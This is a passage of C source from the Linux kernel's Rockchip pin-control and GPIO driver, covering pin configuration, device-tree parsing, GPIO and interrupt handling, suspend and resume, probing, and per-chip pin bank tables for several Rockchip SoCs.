PIN_CONFIG_DRIVE_STRENGTH: /* rk3288 is the first with per-pin drive-strength */ if (!info->ctrl->drv_calc_reg) return -ENOTSUPP; rc = rockchip_set_drive_perpin(bank, pin - bank->pin_base, arg); if (rc < 0) return rc; break; case PIN_CONFIG_INPUT_SCHMITT_ENABLE: if (!info->ctrl->schmitt_calc_reg) return -ENOTSUPP; rc = rockchip_set_schmitt(bank, pin - bank->pin_base, arg); if (rc < 0) return rc; break; default: return -ENOTSUPP; break; } } /* for each config */ return 0; } /* get the pin config settings for a specified pin */ static int rockchip_pinconf_get(struct pinctrl_dev *pctldev, unsigned int pin, unsigned long *config) { struct rockchip_pinctrl *info = pinctrl_dev_get_drvdata(pctldev); struct rockchip_pin_bank *bank = pin_to_bank(info, pin); enum pin_config_param param = pinconf_to_config_param(*config); u16 arg; int rc; switch (param) { case PIN_CONFIG_BIAS_DISABLE: if (rockchip_get_pull(bank, pin - bank->pin_base) != param) return -EINVAL; arg = 0; break; case PIN_CONFIG_BIAS_PULL_UP: case PIN_CONFIG_BIAS_PULL_DOWN: case PIN_CONFIG_BIAS_PULL_PIN_DEFAULT: case PIN_CONFIG_BIAS_BUS_HOLD: if (!rockchip_pinconf_pull_valid(info->ctrl, param)) return -ENOTSUPP; if (rockchip_get_pull(bank, pin - bank->pin_base) != param) return -EINVAL; arg = 1; break; case PIN_CONFIG_OUTPUT: rc = rockchip_get_mux(bank, pin - bank->pin_base); if (rc != RK_FUNC_GPIO) return -EINVAL; rc = rockchip_gpio_get(&bank->gpio_chip, pin - bank->pin_base); if (rc < 0) return rc; arg = rc ? 1 : 0; break; case PIN_CONFIG_DRIVE_STRENGTH: /* rk3288 is the first with per-pin drive-strength */ if (!info->ctrl->drv_calc_reg) return -ENOTSUPP; rc = rockchip_get_drive_perpin(bank, pin - bank->pin_base); if (rc < 0) return rc; arg = rc; break; case PIN_CONFIG_INPUT_SCHMITT_ENABLE: if (!info->ctrl->schmitt_calc_reg) return -ENOTSUPP; rc = rockchip_get_schmitt(bank, pin - bank->pin_base); if (rc < 0) return rc; arg = rc; break; default: return -ENOTSUPP; break; } *config = pinconf_to_config_packed(param, arg); return 0; } static const struct pinconf_ops rockchip_pinconf_ops = { .pin_config_get = rockchip_pinconf_get, .pin_config_set = rockchip_pinconf_set, .is_generic = true, }; static const struct of_device_id rockchip_bank_match[] = { { .compatible = "rockchip,gpio-bank" }, { .compatible = "rockchip,rk3188-gpio-bank0" }, {}, }; static void rockchip_pinctrl_child_count(struct rockchip_pinctrl *info, struct device_node *np) { struct device_node *child; for_each_child_of_node(np, child) { if (of_match_node(rockchip_bank_match, child)) continue; info->nfunctions++; info->ngroups += of_get_child_count(child); } } static int rockchip_pinctrl_parse_groups(struct device_node *np, struct rockchip_pin_group *grp, struct rockchip_pinctrl *info, u32 index) { struct rockchip_pin_bank *bank; int size; const __be32 *list; int num; int i, j; int ret; dev_dbg(info->dev, "group(%d): %s\n", index, np->name); /* Initialise group */ grp->name = np->name; /* * the binding format is rockchip,pins = <bank pin mux CONFIG>, * do sanity check and calculate pins number */ list = of_get_property(np, "rockchip,pins", &size); /* we do not check return since it's safe node passed down */ size /= sizeof(*list); if (!size || size % 4) { dev_err(info->dev, "wrong pins number or pins and configs should be by 4\n"); return -EINVAL; } grp->npins = size / 4; grp->pins = devm_kzalloc(info->dev, grp->npins * sizeof(unsigned int), GFP_KERNEL); grp->data = devm_kzalloc(info->dev, grp->npins * sizeof(struct rockchip_pin_config), GFP_KERNEL); if (!grp->pins || !grp->data) return -ENOMEM; for (i = 0, j = 0; i < size; i += 4, j++) { const __be32 *phandle; struct device_node *np_config; num = be32_to_cpu(*list++); bank = bank_num_to_bank(info, num); if (IS_ERR(bank)) return PTR_ERR(bank); grp->pins[j] = bank->pin_base + be32_to_cpu(*list++); grp->data[j].func = be32_to_cpu(*list++); phandle = list++; if (!phandle) return -EINVAL; np_config = of_find_node_by_phandle(be32_to_cpup(phandle)); ret = pinconf_generic_parse_dt_config(np_config, NULL, &grp->data[j].configs, &grp->data[j].nconfigs); if (ret) return ret; } return 0; } static int rockchip_pinctrl_parse_functions(struct device_node *np, struct rockchip_pinctrl *info, u32 index) { struct device_node *child; struct rockchip_pmx_func *func; struct rockchip_pin_group *grp; int ret; static u32 grp_index; u32 i = 0; dev_dbg(info->dev, "parse function(%d): %s\n", index, np->name); func = &info->functions[index]; /* Initialise function */ func->name = np->name; func->ngroups = of_get_child_count(np); if (func->ngroups <= 0) return 0; func->groups = devm_kzalloc(info->dev, func->ngroups * sizeof(char *), GFP_KERNEL); if (!func->groups) return -ENOMEM; for_each_child_of_node(np, child) { func->groups[i] = child->name; grp = &info->groups[grp_index++]; ret = rockchip_pinctrl_parse_groups(child, grp, info, i++); if (ret) { of_node_put(child); return ret; } } return 0; } static int rockchip_pinctrl_parse_dt(struct platform_device *pdev, struct rockchip_pinctrl *info) { struct device *dev = &pdev->dev; struct device_node *np = dev->of_node; struct device_node *child; int ret; int i; rockchip_pinctrl_child_count(info, np); dev_dbg(&pdev->dev, "nfunctions = %d\n", info->nfunctions); dev_dbg(&pdev->dev, "ngroups = %d\n", info->ngroups); info->functions = devm_kzalloc(dev, info->nfunctions * sizeof(struct rockchip_pmx_func), GFP_KERNEL); if (!info->functions) { dev_err(dev, "failed to allocate memory for function list\n"); return -EINVAL; } info->groups = devm_kzalloc(dev, info->ngroups * sizeof(struct rockchip_pin_group), GFP_KERNEL); if (!info->groups) { dev_err(dev, "failed allocate memory for ping group list\n"); return -EINVAL; } i = 0; for_each_child_of_node(np, child) { if (of_match_node(rockchip_bank_match, child)) continue; ret = rockchip_pinctrl_parse_functions(child, info, i++); if (ret) { dev_err(&pdev->dev, "failed to parse function\n"); of_node_put(child); return ret; } } return 0; } static int rockchip_pinctrl_register(struct platform_device *pdev, struct rockchip_pinctrl *info) { struct pinctrl_desc *ctrldesc = &info->pctl; struct pinctrl_pin_desc *pindesc, *pdesc; struct rockchip_pin_bank *pin_bank; int pin, bank, ret; int k; ctrldesc->name = "rockchip-pinctrl"; ctrldesc->owner = THIS_MODULE; ctrldesc->pctlops = &rockchip_pctrl_ops; ctrldesc->pmxops = &rockchip_pmx_ops; ctrldesc->confops = &rockchip_pinconf_ops; pindesc = devm_kzalloc(&pdev->dev, sizeof(*pindesc) * info->ctrl->nr_pins, GFP_KERNEL); if (!pindesc) { dev_err(&pdev->dev, "mem alloc for pin descriptors failed\n"); return -ENOMEM; } ctrldesc->pins = pindesc; ctrldesc->npins = info->ctrl->nr_pins; pdesc = pindesc; for (bank = 0 , k = 0; bank < info->ctrl->nr_banks; bank++) { pin_bank = &info->ctrl->pin_banks[bank]; for (pin = 0; pin < pin_bank->nr_pins; pin++, k++) { pdesc->number = k; pdesc->name = kasprintf(GFP_KERNEL, "%s-%d", pin_bank->name, pin); pdesc++; } } ret = rockchip_pinctrl_parse_dt(pdev, info); if (ret) return ret; info->pctl_dev = devm_pinctrl_register(&pdev->dev, ctrldesc, info); if (IS_ERR(info->pctl_dev)) { dev_err(&pdev->dev, "could not register pinctrl driver\n"); return PTR_ERR(info->pctl_dev); } for (bank = 0; bank < info->ctrl->nr_banks; ++bank) { pin_bank = &info->ctrl->pin_banks[bank]; pin_bank->grange.name = pin_bank->name; pin_bank->grange.id = bank; pin_bank->grange.pin_base = pin_bank->pin_base; pin_bank->grange.base = pin_bank->gpio_chip.base; pin_bank->grange.npins = pin_bank->gpio_chip.ngpio; pin_bank->grange.gc = &pin_bank->gpio_chip; pinctrl_add_gpio_range(info->pctl_dev, &pin_bank->grange); } return 0; } /* * GPIO handling */ static void rockchip_gpio_set(struct gpio_chip *gc, unsigned offset, int value) { struct rockchip_pin_bank *bank = gpiochip_get_data(gc); void __iomem *reg = bank->reg_base + GPIO_SWPORT_DR; unsigned long flags; u32 data; clk_enable(bank->clk); raw_spin_lock_irqsave(&bank->slock, flags); data = readl(reg); data &= ~BIT(offset); if (value) data |= BIT(offset); writel(data, reg); raw_spin_unlock_irqrestore(&bank->slock, flags); clk_disable(bank->clk); } /* * Returns the level of the pin for input direction and setting of the DR * register for output gpios. */ static int rockchip_gpio_get(struct gpio_chip *gc, unsigned offset) { struct rockchip_pin_bank *bank = gpiochip_get_data(gc); u32 data; clk_enable(bank->clk); data = readl(bank->reg_base + GPIO_EXT_PORT); clk_disable(bank->clk); data >>= offset; data &= 1; return data; } /* * gpiolib gpio_direction_input callback function. The setting of the pin * mux function as 'gpio input' will be handled by the pinctrl susbsystem * interface. */ static int rockchip_gpio_direction_input(struct gpio_chip *gc, unsigned offset) { return pinctrl_gpio_direction_input(gc->base + offset); } /* * gpiolib gpio_direction_output callback function. The setting of the pin * mux function as 'gpio output' will be handled by the pinctrl susbsystem * interface. */ static int rockchip_gpio_direction_output(struct gpio_chip *gc, unsigned offset, int value) { rockchip_gpio_set(gc, offset, value); return pinctrl_gpio_direction_output(gc->base + offset); } /* * gpiolib gpio_to_irq callback function. Creates a mapping between a GPIO pin * and a virtual IRQ, if not already present. */ static int rockchip_gpio_to_irq(struct gpio_chip *gc, unsigned offset) { struct rockchip_pin_bank *bank = gpiochip_get_data(gc); unsigned int virq; if (!bank->domain) return -ENXIO; virq = irq_create_mapping(bank->domain, offset); return (virq) ? : -ENXIO; } static const struct gpio_chip rockchip_gpiolib_chip = { .request = gpiochip_generic_request, .free = gpiochip_generic_free, .set = rockchip_gpio_set, .get = rockchip_gpio_get, .get_direction = rockchip_gpio_get_direction, .direction_input = rockchip_gpio_direction_input, .direction_output = rockchip_gpio_direction_output, .to_irq = rockchip_gpio_to_irq, .owner = THIS_MODULE, }; /* * Interrupt handling */ static void rockchip_irq_demux(struct irq_desc *desc) { struct irq_chip *chip = irq_desc_get_chip(desc); struct rockchip_pin_bank *bank = irq_desc_get_handler_data(desc); u32 pend; dev_dbg(bank->drvdata->dev, "got irq for bank %s\n", bank->name); chained_irq_enter(chip, desc); pend = readl_relaxed(bank->reg_base + GPIO_INT_STATUS); while (pend) { unsigned int irq, virq; irq = __ffs(pend); pend &= ~BIT(irq); virq = irq_linear_revmap(bank->domain, irq); if (!virq) { dev_err(bank->drvdata->dev, "unmapped irq %d\n", irq); continue; } dev_dbg(bank->drvdata->dev, "handling irq %d\n", irq); /* * Triggering IRQ on both rising and falling edge * needs manual intervention. */ if (bank->toggle_edge_mode & BIT(irq)) { u32 data, data_old, polarity; unsigned long flags; data = readl_relaxed(bank->reg_base + GPIO_EXT_PORT); do { raw_spin_lock_irqsave(&bank->slock, flags); polarity = readl_relaxed(bank->reg_base + GPIO_INT_POLARITY); if (data & BIT(irq)) polarity &= ~BIT(irq); else polarity |= BIT(irq); writel(polarity, bank->reg_base + GPIO_INT_POLARITY); raw_spin_unlock_irqrestore(&bank->slock, flags); data_old = data; data = readl_relaxed(bank->reg_base + GPIO_EXT_PORT); } while ((data & BIT(irq)) != (data_old & BIT(irq))); } generic_handle_irq(virq); } chained_irq_exit(chip, desc); } static int rockchip_irq_set_type(struct irq_data *d, unsigned int type) { struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d); struct rockchip_pin_bank *bank = gc->private; u32 mask = BIT(d->hwirq); u32 polarity; u32 level; u32 data; unsigned long flags; int ret; /* make sure the pin is configured as gpio input */ ret = rockchip_set_mux(bank, d->hwirq, RK_FUNC_GPIO); if (ret < 0) return ret; clk_enable(bank->clk); raw_spin_lock_irqsave(&bank->slock, flags); data = readl_relaxed(bank->reg_base + GPIO_SWPORT_DDR); data &= ~mask; writel_relaxed(data, bank->reg_base + GPIO_SWPORT_DDR); raw_spin_unlock_irqrestore(&bank->slock, flags); if (type & IRQ_TYPE_EDGE_BOTH) irq_set_handler_locked(d, handle_edge_irq); else irq_set_handler_locked(d, handle_level_irq); raw_spin_lock_irqsave(&bank->slock, flags); irq_gc_lock(gc); level = readl_relaxed(gc->reg_base + GPIO_INTTYPE_LEVEL); polarity = readl_relaxed(gc->reg_base + GPIO_INT_POLARITY); switch (type) { case IRQ_TYPE_EDGE_BOTH: bank->toggle_edge_mode |= mask; level |= mask; /* * Determine gpio state. If 1 next interrupt should be falling * otherwise rising. */ data = readl(bank->reg_base + GPIO_EXT_PORT); if (data & mask) polarity &= ~mask; else polarity |= mask; break; case IRQ_TYPE_EDGE_RISING: bank->toggle_edge_mode &= ~mask; level |= mask; polarity |= mask; break; case IRQ_TYPE_EDGE_FALLING: bank->toggle_edge_mode &= ~mask; level |= mask; polarity &= ~mask; break; case IRQ_TYPE_LEVEL_HIGH: bank->toggle_edge_mode &= ~mask; level &= ~mask; polarity |= mask; break; case IRQ_TYPE_LEVEL_LOW: bank->toggle_edge_mode &= ~mask; level &= ~mask; polarity &= ~mask; break; default: irq_gc_unlock(gc); raw_spin_unlock_irqrestore(&bank->slock, flags); clk_disable(bank->clk); return -EINVAL; } writel_relaxed(level, gc->reg_base + GPIO_INTTYPE_LEVEL); writel_relaxed(polarity, gc->reg_base + GPIO_INT_POLARITY); irq_gc_unlock(gc); raw_spin_unlock_irqrestore(&bank->slock, flags); clk_disable(bank->clk); return 0; } static void rockchip_irq_suspend(struct irq_data *d) { struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d); struct rockchip_pin_bank *bank = gc->private; clk_enable(bank->clk); bank->saved_masks = irq_reg_readl(gc, GPIO_INTMASK); irq_reg_writel(gc, ~gc->wake_active, GPIO_INTMASK); clk_disable(bank->clk); } static void rockchip_irq_resume(struct irq_data *d) { struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d); struct rockchip_pin_bank *bank = gc->private; clk_enable(bank->clk); irq_reg_writel(gc, bank->saved_masks, GPIO_INTMASK); clk_disable(bank->clk); } static void rockchip_irq_enable(struct irq_data *d) { struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d); struct rockchip_pin_bank *bank = gc->private; clk_enable(bank->clk); irq_gc_mask_clr_bit(d); } static void rockchip_irq_disable(struct irq_data *d) { struct irq_chip_generic *gc = irq_data_get_irq_chip_data(d); struct rockchip_pin_bank *bank = gc->private; irq_gc_mask_set_bit(d); clk_disable(bank->clk); } static int rockchip_interrupts_register(struct platform_device *pdev, struct rockchip_pinctrl *info) { struct rockchip_pin_ctrl *ctrl = info->ctrl; struct rockchip_pin_bank *bank = ctrl->pin_banks; unsigned int clr = IRQ_NOREQUEST | IRQ_NOPROBE | IRQ_NOAUTOEN; struct irq_chip_generic *gc; int ret; int i, j; for (i = 0; i < ctrl->nr_banks; ++i, ++bank) { if (!bank->valid) { dev_warn(&pdev->dev, "bank %s is not valid\n", bank->name); continue; } ret = clk_enable(bank->clk); if (ret) { dev_err(&pdev->dev, "failed to enable clock for bank %s\n", bank->name); continue; } bank->domain = irq_domain_add_linear(bank->of_node, 32, &irq_generic_chip_ops, NULL); if (!bank->domain) { dev_warn(&pdev->dev, "could not initialize irq domain for bank %s\n", bank->name); clk_disable(bank->clk); continue; } ret = irq_alloc_domain_generic_chips(bank->domain, 32, 1, "rockchip_gpio_irq", handle_level_irq, clr, 0, IRQ_GC_INIT_MASK_CACHE); if (ret) { dev_err(&pdev->dev, "could not alloc generic chips for bank %s\n", bank->name); irq_domain_remove(bank->domain); clk_disable(bank->clk); continue; } /* * Linux assumes that all interrupts start out disabled/masked. * Our driver only uses the concept of masked and always keeps * things enabled, so for us that's all masked and all enabled. */ writel_relaxed(0xffffffff, bank->reg_base + GPIO_INTMASK); writel_relaxed(0xffffffff, bank->reg_base + GPIO_INTEN); gc = irq_get_domain_generic_chip(bank->domain, 0); gc->reg_base = bank->reg_base; gc->private = bank; gc->chip_types[0].regs.mask = GPIO_INTMASK; gc->chip_types[0].regs.ack = GPIO_PORTS_EOI; gc->chip_types[0].chip.irq_ack = irq_gc_ack_set_bit; gc->chip_types[0].chip.irq_mask = irq_gc_mask_set_bit; gc->chip_types[0].chip.irq_unmask = irq_gc_mask_clr_bit; gc->chip_types[0].chip.irq_enable = rockchip_irq_enable; gc->chip_types[0].chip.irq_disable = rockchip_irq_disable; gc->chip_types[0].chip.irq_set_wake = irq_gc_set_wake; gc->chip_types[0].chip.irq_suspend = rockchip_irq_suspend; gc->chip_types[0].chip.irq_resume = rockchip_irq_resume; gc->chip_types[0].chip.irq_set_type = rockchip_irq_set_type; gc->wake_enabled = IRQ_MSK(bank->nr_pins); irq_set_chained_handler_and_data(bank->irq, rockchip_irq_demux, bank); /* map the gpio irqs here, when the clock is still running */ for (j = 0 ; j < 32 ; j++) irq_create_mapping(bank->domain, j); clk_disable(bank->clk); } return 0; } static int rockchip_gpiolib_register(struct platform_device *pdev, struct rockchip_pinctrl *info) { struct rockchip_pin_ctrl *ctrl = info->ctrl; struct rockchip_pin_bank *bank = ctrl->pin_banks; struct gpio_chip *gc; int ret; int i; for (i = 0; i < ctrl->nr_banks; ++i, ++bank) { if (!bank->valid) { dev_warn(&pdev->dev, "bank %s is not valid\n", bank->name); continue; } bank->gpio_chip = rockchip_gpiolib_chip; gc = &bank->gpio_chip; gc->base = bank->pin_base; gc->ngpio = bank->nr_pins; gc->parent = &pdev->dev; gc->of_node = bank->of_node; gc->label = bank->name; ret = gpiochip_add_data(gc, bank); if (ret) { dev_err(&pdev->dev, "failed to register gpio_chip %s, error code: %d\n", gc->label, ret); goto fail; } } rockchip_interrupts_register(pdev, info); return 0; fail: for (--i, --bank; i >= 0; --i, --bank) { if (!bank->valid) continue; gpiochip_remove(&bank->gpio_chip); } return ret; } static int rockchip_gpiolib_unregister(struct platform_device *pdev, struct rockchip_pinctrl *info) { struct rockchip_pin_ctrl *ctrl = info->ctrl; struct rockchip_pin_bank *bank = ctrl->pin_banks; int i; for (i = 0; i < ctrl->nr_banks; ++i, ++bank) { if (!bank->valid) continue; gpiochip_remove(&bank->gpio_chip); } return 0; } static int rockchip_get_bank_data(struct rockchip_pin_bank *bank, struct rockchip_pinctrl *info) { struct resource res; void __iomem *base; if (of_address_to_resource(bank->of_node, 0, &res)) { dev_err(info->dev, "cannot find IO resource for bank\n"); return -ENOENT; } bank->reg_base = devm_ioremap_resource(info->dev, &res); if (IS_ERR(bank->reg_base)) return PTR_ERR(bank->reg_base); /* * special case, where parts of the pull setting-registers are * part of the PMU register space */ if (of_device_is_compatible(bank->of_node, "rockchip,rk3188-gpio-bank0")) { struct device_node *node; node = of_parse_phandle(bank->of_node->parent, "rockchip,pmu", 0); if (!node) { if (of_address_to_resource(bank->of_node, 1, &res)) { dev_err(info->dev, "cannot find IO resource for bank\n"); return -ENOENT; } base = devm_ioremap_resource(info->dev, &res); if (IS_ERR(base)) return PTR_ERR(base); rockchip_regmap_config.max_register = resource_size(&res) - 4; rockchip_regmap_config.name = "rockchip,rk3188-gpio-bank0-pull"; bank->regmap_pull = devm_regmap_init_mmio(info->dev, base, &rockchip_regmap_config); } } bank->irq = irq_of_parse_and_map(bank->of_node, 0); bank->clk = of_clk_get(bank->of_node, 0); if (IS_ERR(bank->clk)) return PTR_ERR(bank->clk); return clk_prepare(bank->clk); } static const struct of_device_id rockchip_pinctrl_dt_match[]; /* retrieve the soc specific data */ static struct rockchip_pin_ctrl *rockchip_pinctrl_get_soc_data( struct rockchip_pinctrl *d, struct platform_device *pdev) { const struct of_device_id *match; struct device_node *node = pdev->dev.of_node; struct device_node *np; struct rockchip_pin_ctrl *ctrl; struct rockchip_pin_bank *bank; int grf_offs, pmu_offs, drv_grf_offs, drv_pmu_offs, i, j; match = of_match_node(rockchip_pinctrl_dt_match, node); ctrl = (struct rockchip_pin_ctrl *)match->data; for_each_child_of_node(node, np) { if (!of_find_property(np, "gpio-controller", NULL)) continue; bank = ctrl->pin_banks; for (i = 0; i < ctrl->nr_banks; ++i, ++bank) { if (!strcmp(bank->name, np->name)) { bank->of_node = np; if (!rockchip_get_bank_data(bank, d)) bank->valid = true; break; } } } grf_offs = ctrl->grf_mux_offset; pmu_offs = ctrl->pmu_mux_offset; drv_pmu_offs = ctrl->pmu_drv_offset; drv_grf_offs = ctrl->grf_drv_offset; bank = ctrl->pin_banks; for (i = 0; i < ctrl->nr_banks; ++i, ++bank) { int bank_pins = 0; raw_spin_lock_init(&bank->slock); bank->drvdata = d; bank->pin_base = ctrl->nr_pins; ctrl->nr_pins += bank->nr_pins; /* calculate iomux and drv offsets */ for (j = 0; j < 4; j++) { struct rockchip_iomux *iom = &bank->iomux[j]; struct rockchip_drv *drv = &bank->drv[j]; int inc; if (bank_pins >= bank->nr_pins) break; /* preset iomux offset value, set new start value */ if (iom->offset >= 0) { if (iom->type & IOMUX_SOURCE_PMU) pmu_offs = iom->offset; else grf_offs = iom->offset; } else { /* set current iomux offset */ iom->offset = (iom->type & IOMUX_SOURCE_PMU) ? pmu_offs : grf_offs; } /* preset drv offset value, set new start value */ if (drv->offset >= 0) { if (iom->type & IOMUX_SOURCE_PMU) drv_pmu_offs = drv->offset; else drv_grf_offs = drv->offset; } else { /* set current drv offset */ drv->offset = (iom->type & IOMUX_SOURCE_PMU) ? drv_pmu_offs : drv_grf_offs; } dev_dbg(d->dev, "bank %d, iomux %d has iom_offset 0x%x drv_offset 0x%x\n", i, j, iom->offset, drv->offset); /* * Increase offset according to iomux width. * 4bit iomux'es are spread over two registers. */ inc = (iom->type & (IOMUX_WIDTH_4BIT | IOMUX_WIDTH_3BIT)) ? 8 : 4; if (iom->type & IOMUX_SOURCE_PMU) pmu_offs += inc; else grf_offs += inc; /* * Increase offset according to drv width. * 3bit drive-strenth'es are spread over two registers. */ if ((drv->drv_type == DRV_TYPE_IO_1V8_3V0_AUTO) || (drv->drv_type == DRV_TYPE_IO_3V3_ONLY)) inc = 8; else inc = 4; if (iom->type & IOMUX_SOURCE_PMU) drv_pmu_offs += inc; else drv_grf_offs += inc; bank_pins += 8; } /* calculate the per-bank recalced_mask */ for (j = 0; j < ctrl->niomux_recalced; j++) { int pin = 0; if (ctrl->iomux_recalced[j].num == bank->bank_num) { pin = ctrl->iomux_recalced[j].pin; bank->recalced_mask |= BIT(pin); } } /* calculate the per-bank route_mask */ for (j = 0; j < ctrl->niomux_routes; j++) { int pin = 0; if (ctrl->iomux_routes[j].bank_num == bank->bank_num) { pin = ctrl->iomux_routes[j].pin; bank->route_mask |= BIT(pin); } } } return ctrl; } #define RK3288_GRF_GPIO6C_IOMUX 0x64 #define GPIO6C6_SEL_WRITE_ENABLE BIT(28) static u32 rk3288_grf_gpio6c_iomux; static int __maybe_unused rockchip_pinctrl_suspend(struct device *dev) { struct rockchip_pinctrl *info = dev_get_drvdata(dev); int ret = pinctrl_force_sleep(info->pctl_dev); if (ret) return ret; /* * RK3288 GPIO6_C6 mux would be modified by Maskrom when resume, so save * the setting here, and restore it at resume. */ if (info->ctrl->type == RK3288) { ret = regmap_read(info->regmap_base, RK3288_GRF_GPIO6C_IOMUX, &rk3288_grf_gpio6c_iomux); if (ret) { pinctrl_force_default(info->pctl_dev); return ret; } } return 0; } static int __maybe_unused rockchip_pinctrl_resume(struct device *dev) { struct rockchip_pinctrl *info = dev_get_drvdata(dev); int ret = regmap_write(info->regmap_base, RK3288_GRF_GPIO6C_IOMUX, rk3288_grf_gpio6c_iomux | GPIO6C6_SEL_WRITE_ENABLE); if (ret) return ret; return pinctrl_force_default(info->pctl_dev); } static SIMPLE_DEV_PM_OPS(rockchip_pinctrl_dev_pm_ops, rockchip_pinctrl_suspend, rockchip_pinctrl_resume); static int rockchip_pinctrl_probe(struct platform_device *pdev) { struct rockchip_pinctrl *info; struct device *dev = &pdev->dev; struct rockchip_pin_ctrl *ctrl; struct device_node *np = pdev->dev.of_node, *node; struct resource *res; void __iomem *base; int ret; if (!dev->of_node) { dev_err(dev, "device tree node not found\n"); return -ENODEV; } info = devm_kzalloc(dev, sizeof(struct rockchip_pinctrl), GFP_KERNEL); if (!info) return -ENOMEM; info->dev = dev; ctrl = rockchip_pinctrl_get_soc_data(info, pdev); if (!ctrl) { dev_err(dev, "driver data not available\n"); return -EINVAL; } info->ctrl = ctrl; node = of_parse_phandle(np, "rockchip,grf", 0); if (node) { info->regmap_base = syscon_node_to_regmap(node); if (IS_ERR(info->regmap_base)) return PTR_ERR(info->regmap_base); } else { res = platform_get_resource(pdev, IORESOURCE_MEM, 0); base = devm_ioremap_resource(&pdev->dev, res); if (IS_ERR(base)) return PTR_ERR(base); rockchip_regmap_config.max_register = resource_size(res) - 4; rockchip_regmap_config.name = "rockchip,pinctrl"; info->regmap_base = devm_regmap_init_mmio(&pdev->dev, base, &rockchip_regmap_config); /* to check for the old dt-bindings */ info->reg_size = resource_size(res); /* Honor the old binding, with pull registers as 2nd resource */ if (ctrl->type == RK3188 && info->reg_size < 0x200) { res = platform_get_resource(pdev, IORESOURCE_MEM, 1); base = devm_ioremap_resource(&pdev->dev, res); if (IS_ERR(base)) return PTR_ERR(base); rockchip_regmap_config.max_register = resource_size(res) - 4; rockchip_regmap_config.name = "rockchip,pinctrl-pull"; info->regmap_pull = devm_regmap_init_mmio(&pdev->dev, base, &rockchip_regmap_config); } } /* try to find the optional reference to the pmu syscon */ node = of_parse_phandle(np, "rockchip,pmu", 0); if (node) { info->regmap_pmu = syscon_node_to_regmap(node); if (IS_ERR(info->regmap_pmu)) return PTR_ERR(info->regmap_pmu); } ret = rockchip_gpiolib_register(pdev, info); if (ret) return ret; ret = rockchip_pinctrl_register(pdev, info); if (ret) { rockchip_gpiolib_unregister(pdev, info); return ret; } platform_set_drvdata(pdev, info); return 0; } static struct rockchip_pin_bank rv1108_pin_banks[] = { PIN_BANK_IOMUX_FLAGS(0, 32, "gpio0", IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU, IOMUX_SOURCE_PMU), PIN_BANK_IOMUX_FLAGS(1, 32, "gpio1", 0, 0, 0, 0), PIN_BANK_IOMUX_FLAGS(2, 32, "gpio2", 0, 0, 0, 0), PIN_BANK_IOMUX_FLAGS(3, 32, "gpio3", 0, 0, 0, 0), }; static struct rockchip_pin_ctrl rv1108_pin_ctrl = { .pin_banks = rv1108_pin_banks, .nr_banks = ARRAY_SIZE(rv1108_pin_banks), .label = "RV1108-GPIO", .type = RV1108, .grf_mux_offset = 0x10, .pmu_mux_offset = 0x0, .iomux_recalced = rv1108_mux_recalced_data, .niomux_recalced = ARRAY_SIZE(rv1108_mux_recalced_data), .pull_calc_reg = rv1108_calc_pull_reg_and_bit, .drv_calc_reg = rv1108_calc_drv_reg_and_bit, .schmitt_calc_reg = rv1108_calc_schmitt_reg_and_bit, }; static struct rockchip_pin_bank rk2928_pin_banks[] = { PIN_BANK(0, 32, "gpio0"), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), PIN_BANK(3, 32, "gpio3"), }; static struct rockchip_pin_ctrl rk2928_pin_ctrl = { .pin_banks = rk2928_pin_banks, .nr_banks = ARRAY_SIZE(rk2928_pin_banks), .label = "RK2928-GPIO", .type = RK2928, .grf_mux_offset = 0xa8, .pull_calc_reg = rk2928_calc_pull_reg_and_bit, }; static struct rockchip_pin_bank rk3036_pin_banks[] = { PIN_BANK(0, 32, "gpio0"), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), }; static struct rockchip_pin_ctrl rk3036_pin_ctrl = { .pin_banks = rk3036_pin_banks, .nr_banks = ARRAY_SIZE(rk3036_pin_banks), .label = "RK3036-GPIO", .type = RK2928, .grf_mux_offset = 0xa8, .pull_calc_reg = rk2928_calc_pull_reg_and_bit, }; static struct rockchip_pin_bank rk3066a_pin_banks[] = { PIN_BANK(0, 32, "gpio0"), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), PIN_BANK(3, 32, "gpio3"), PIN_BANK(4, 32, "gpio4"), PIN_BANK(6, 16, "gpio6"), }; static struct rockchip_pin_ctrl rk3066a_pin_ctrl = { .pin_banks = rk3066a_pin_banks, .nr_banks = ARRAY_SIZE(rk3066a_pin_banks), .label = "RK3066a-GPIO", .type = RK2928, .grf_mux_offset = 0xa8, .pull_calc_reg = rk2928_calc_pull_reg_and_bit, }; static struct rockchip_pin_bank rk3066b_pin_banks[] = { PIN_BANK(0, 32, "gpio0"), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), PIN_BANK(3, 32, "gpio3"), }; static struct rockchip_pin_ctrl rk3066b_pin_ctrl = { .pin_banks = rk3066b_pin_banks, .nr_banks = ARRAY_SIZE(rk3066b_pin_banks), .label = "RK3066b-GPIO", .type = RK3066B, .grf_mux_offset = 0x60, }; static struct rockchip_pin_bank rk3128_pin_banks[] = { PIN_BANK(0, 32, "gpio0"), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), PIN_BANK(3, 32, "gpio3"), }; static struct rockchip_pin_ctrl rk3128_pin_ctrl = { .pin_banks = rk3128_pin_banks, .nr_banks = ARRAY_SIZE(rk3128_pin_banks), .label = "RK3128-GPIO", .type = RK3128, .grf_mux_offset = 0xa8, .iomux_recalced = rk3128_mux_recalced_data, .niomux_recalced = ARRAY_SIZE(rk3128_mux_recalced_data), .iomux_routes = rk3128_mux_route_data, .niomux_routes = ARRAY_SIZE(rk3128_mux_route_data), .pull_calc_reg = rk3128_calc_pull_reg_and_bit, }; static struct rockchip_pin_bank rk3188_pin_banks[] = { PIN_BANK_IOMUX_FLAGS(0, 32, "gpio0", IOMUX_GPIO_ONLY, 0, 0, 0), PIN_BANK(1, 32, "gpio1"), PIN_BANK(2, 32, "gpio2"), PIN_BANK(3, 32, "gpio3"), }; static struct rockchip_pin_ctrl rk3188_pin_ctrl = { .pin_banks = rk3188_pin_banks, .nr_banks = ARRAY_SIZE(rk3188_pin_banks), .label = "RK3188-GPIO", .type = RK3188, .grf_mux_offset = 0x60, .pull_calc_reg = rk3188_calc_pull_reg_and_bit, }; static struct 